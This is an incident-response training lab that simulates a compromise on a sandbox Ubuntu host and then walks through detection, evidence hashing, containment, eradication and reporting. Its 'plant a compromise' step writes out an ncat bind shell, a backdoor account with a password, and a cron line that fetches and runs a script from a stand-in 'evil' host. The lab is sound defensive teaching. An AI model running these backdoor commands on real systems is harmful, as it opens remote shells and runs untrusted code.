# Lab 29 — Incident Response: Live-Triage and Forensics

You will simulate a compromise, then walk the seven NIST IR phases (Preparation → Detection → Analysis → Containment → Eradication → Recovery → Lessons Learned), preserving evidence with chain-of-custody hashes.

Run on https://killercoda.com/playgrounds/scenario/ubuntu

**Required software (free):** - `coreutils`, `procps`, `iproute2`, `tar` (pre-installed) - `sleuthkit` (optional disk forensics)

---

## Step 1 — Preparation: build an evidence drop

```
mkdir -p /evidence/$(date +%Y%m%d) && cd /evidence/$(date +%Y%m%d)
echo "Case: lab-incident-001" > case.txt
echo "Analyst: $(whoami)"     >> case.txt
date -u >> case.txt
```

---

## Step 2 — Plant a "compromise"

```
apt-get install -y ncat >/dev/null 2>&1 || apt-get install -y nmap
>/dev/null 2>&1

useradd -m attacker -s /bin/bash

echo "attacker:Pwn3d!" | chpasswd

nohup ncat -lk 4444 -e /bin/bash >/tmp/.x 2>&1 &

echo "* * * * * curl -s http://evil/loader.sh | sh" | crontab -u
attacker -
```

(Ubuntu's default `netcat-openbsd` has no `-e`; `ncat` from nmap provides the classic backdoor primitive.)

---

## Step 3 — Detection: identify the indicators

```
ss -tlnp | grep 4444

ps -ef | grep -E "ncat|bash" | head
```

```
crontab -u attacker -l
```

```
last -i | head
```

Document each finding. These are your **IoCs** (Indicators of Compromise).

---

## Step 4 — Analysis: collect volatile evidence first (Order of Volatility)

```
ps auxf > ps.txt
```

```
ss -tnp > sockets.txt
```

```
ip neigh > arp.txt
```

```
who > who.txt
```

```
last > last.txt
```

```
cp /var/log/auth.log auth.log 2>/dev/null || journalctl _COMM=sshd > auth.log
```

```
crontab -u attacker -l > attacker.crontab

sha256sum *.txt *.log *.crontab > evidence.sha256

cat evidence.sha256
```

Hashes establish **chain of custody**. Re-hash later to prove no tampering.

---

## Step 5 — Containment

```
iptables -I INPUT -p tcp --dport 4444 -j DROP

usermod -L attacker            # disable account

pkill -u attacker || true
```

Containment buys time without losing forensic state.

---

## Step 6 — Eradication

```
crontab -u attacker -r
```

```
pkill ncat 2>/dev/null

userdel -rf attacker

iptables -D INPUT -p tcp --dport 4444 -j DROP
```

---

## Step 7 — Recovery: validate the system is clean

```
ss -tlnp | grep 4444 || echo "no backdoor listener"

grep attacker /etc/passwd || echo "user removed"

crontab -u attacker -l 2>&1 | grep "no crontab" && echo "cron clean"
```

---

## Step 8 — Lessons learned (what to add to the playbook)

- Disable password SSH for new users by default (Lab 21).
- Alert on new listening ports (Lab 26 osquery).
- Block egress to unknown C2 IPs (Lab 25 Suricata).
- Add `auditd` rule for `crontab -e` by non-admin users (Lab 1).

---

## Step 9 — Generate the report

```
cat > report.md <<EOF

# Incident lab-incident-001 Report

- **Detected**: $(date -u)

- **IoCs**: TCP/4444 listener; user 'attacker'; cron exfil

- **Containment**: iptables drop, account locked

- **Eradication**: process killed, user removed, cron purged

- **Recovery**: ports clean, user table clean, cron clean

- **Evidence hash file**: evidence.sha256

EOF
```

```
sha256sum report.md
```

---

## Free online tools

- **NIST SP 800-61r2 IR Guide** — https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final
- **SANS Incident Response Cheat Sheet** — https://www.sans.org/posters/incident-response-cheat-sheet/
- **Volatility 3 (memory forensics)** — https://github.com/volatilityfoundation/volatility3
- **Autopsy / Sleuth Kit** — https://www.sleuthkit.org
- **CISA Known Exploited Vulnerabilities catalog** — https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- **MITRE ATT&CK** — https://attack.mitre.org

---

## What you learned

- The seven NIST IR phases mapped to live commands.
- Why volatile evidence is collected **before** containment.
- That chain-of-custody is just `sha256sum` + a second copy.